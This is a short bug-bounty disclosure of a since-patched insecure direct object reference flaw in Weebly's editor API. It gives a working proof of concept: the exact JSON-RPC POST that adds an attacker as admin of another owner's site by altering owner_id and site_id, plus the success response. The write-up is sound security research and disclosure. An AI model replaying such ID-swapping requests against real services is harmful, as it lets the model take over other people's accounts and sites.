Title: Hijack any website from weebly.com by just adding an administrator to their website. [Insecure Direct Object Reference Vulnerability]

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Weebly is a web-hosting service that allows the user to “drag-and-drop” while using their website builder. As of August 2012, Weebly hosts over 20 million sites with a monthly rate of over 1 million unique visitors. ‘http://en.wikipedia.org/wiki/Weebly’.

Website: https://www.weebly.com

Any weebly website owner can hijack any weebly website by just inviting himself/herself through email and modifying the site ID in HTTP Request.

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PoC:
Video: 
https://www.youtube.com/watch?v=ovM-wliY7lE

Written:

Here's the website details of the target:

weebly site: ohhyeahphfudge.weebly.com
owner_id: 47812623
site_id: 367503762921888574

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HTTP Request:

POST /api/JsonRPC/Editor/ HTTP/1.1
Host: www.weebly.com

{"jsonrpc":"2.0","method":"Contributor::createMultiple","params":[{"role":"admin","email":"huehuehuehue10+weebly@gmail.com","message":"HiJacking Weebly websites","restrict_pages":false,"owner_id":"47812623","site_id":"367503762921888574"}],"id":0}

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HTTP Response:

HTTP/1.1 200 OK
Date: Sun, 22 Feb 2015 08:29:26

{"jsonrpc":"2.0","id":0,"method":"Contributor::createMultiple","result":{"success":true,"models":[{"id":"invitation-596276730608950492","pending":true,"owner_id":"47812623","user_id":null,"site_id":"367503762921888574","email":"huehuehuehue10+weebly@gmail.com","last_login":false,"role":"admin","display_role":"Administrator","invitation_id":"596276730608950492","invitation_used":null,"invitation_retracted":null,"message":"HiJacking Weebly websites","restrict_pages":false,"allowed_pages":[],"allow_publish":true,"allow_stats":true,"allow_form_entries":true,"allow_blog_comments":true}],"errors":[]}}

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Report Timeline:
February 22, 2015 – Bug Found by Allan Jay Dumanhug.
February 26, 2015 – Vendor Response and Vendor Fix/Patch.